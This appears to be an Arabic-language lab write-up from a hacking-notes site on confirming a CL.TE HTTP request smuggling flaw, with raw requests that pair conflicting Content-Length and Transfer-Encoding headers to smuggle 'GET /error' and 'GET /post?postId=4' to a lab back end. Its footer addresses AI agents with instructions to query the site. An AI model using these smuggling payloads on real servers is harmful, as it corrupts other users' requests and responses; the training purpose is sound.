> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# تأكيد ثغرة CL.TE عبر استجابات تفاضلية

### تهريب طلبات HTTP، تأكيد ثغرة CL.TE عبر استجابات تفاضلية

تستخدم هذه المختبرية خادماً أمامياً وخادماً داخلياً. الخادم الأمامي **لا يتعامل مع التجزئة** الترميز. / الهدف هو أن **تهرّب طلباً إلى الخادم الخلفي** بحيث يؤدي الطلب التالي إلى **/** يؤدي إلى استجابة **404 غير موجود**.

> **ملاحظة:** حتى لو كانت المختبرية تقبل HTTP/2، فإن الطريقة المطلوبة قابلة للاستخدام فقط في HTTP/1. / **تلميح:** تساعد إضافة Burp‏ HTTP Request Smuggler على إعادة حساب الأطوال تلقائياً.

#### الملاحظة الأولية

يفسر الطرف الأمامي **Content-Length**، بينما يعتمد الطرف الخلفي على **Transfer-Encoding**. / إرسال طلب أدنى:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

ثم بإضافة معلمة، يصبح الطول منطقياً 9:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="/files/5d100331151b9401fb7afcbd7305b890cba7aabf" alt=""><figcaption></figcaption></figure>

لتجنب إعادة الحساب التلقائية للطول، يتم إدخال ترويسة جديدة.

<figure><img src="/files/7830364ea7e24d9ac6a0b0369df5ba5a1815dca1" alt="" width="392"><figcaption></figcaption></figure>

#### إضافة *Transfer-Encoding*

إذا أضفنا:

```http
Transfer-Encoding: chunked
```

يعيد الخادم خطأ عدم تزامن:

HTTP/1.1 500 خطأ داخلي في الخادم

<figure><img src="/files/856b8333f03f2a9af59f24e229351602a5f67891" alt=""><figcaption></figcaption></figure>

ومع ذلك، عند إرسال حمولة مجزأة صالحة:

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="/files/c79c02e75f8399daaf5b87832f04bb550eee348b" alt=""><figcaption></figcaption></figure>

تعود الاستجابة في **200 OK**.

<figure><img src="/files/d3b3cabaf5203655cfa2e1f3031f6edef1065974" alt=""><figcaption></figcaption></figure>

يمكننا أيضاً اختبار:

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### حقن طلب إلى الخادم الخلفي

للحصول على **404**، يجب أن تفرض على الخادم الخلفي معالجة طلب إضافي. / إذا أضفت:

```http
GET /error HTTP/1.1
اختبار: A
```

وأن الخادم الخلفي يفسر الطلب المهرب بشكل صحيح، فإنه ينفذ `GET /error`.

مثال كامل:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
اختبار: A
```

الاستجابة الأولى تكون في **200**، لكن الطلب التالي الذي يرسله المتصفح يؤدي إلى **404**، وهو دليل على عدم التزامن.

<figure><img src="/files/6f336acedeccca9886701cecacbeb44745d2bf7e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3f591e5cd02961a7449de20b9636d270e4bb933e" alt=""><figcaption></figcaption></figure>

#### تنويع: تشغيل صفحة أخرى

إذا أردت أن ينفذ الخادم الخلفي مورداً آخر، على سبيل المثال:

```http
GET /post?postId=4 HTTP/1.1
اختبار: A
```

عندها ستعرض الصفحة الرئيسية المحتوى المطابق للمنشور 4، مؤكدةً أن الاستعلام المهرب قد تمت معالجته بواسطة الخادم الخلفي.

<figure><img src="/files/a1a7d5c0173cd31418393255a29c1b986f433cea" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
